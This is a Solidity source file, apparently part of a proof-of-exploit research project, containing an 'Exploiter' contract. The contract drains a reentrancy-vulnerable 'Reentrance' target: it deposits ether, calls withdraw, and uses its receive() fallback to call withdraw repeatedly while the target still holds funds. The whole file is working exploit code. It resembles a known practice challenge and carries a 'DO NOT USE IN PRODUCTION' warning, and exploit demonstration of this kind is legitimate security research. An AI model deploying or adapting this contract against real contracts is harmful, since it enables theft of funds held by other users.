zkPoEX/bytecode/Exploiter.sol

// SPDX-License-Identifier: MIT
// DO NOT USE IN PRODUCTION
pragma solidity 0.8.19;

interface IReentrance {
    function deposit(address _to) external payable;
    function withdraw(uint256 _amount) external;
}

contract Exploiter {
    IReentrance targetContract;

    constructor(address _targetAddr) {
        targetContract = IReentrance(_targetAddr);
    }

    function balance() public view returns (uint256) {
        return address(this).balance;
    }

    // exploits Reentrance
    function exploit() public payable {
        require(msg.value >= 1 ether);
        targetContract.deposit{value:msg.value}(address(this));
        targetContract.withdraw(msg.value);
    }

    // fallback function triggering reentrancy
    receive() external payable {
        uint256 targetBalance = address(targetContract).balance;
        if (targetBalance >= 1 ether) {
          targetContract.withdraw(1 ether);
        }
    }
}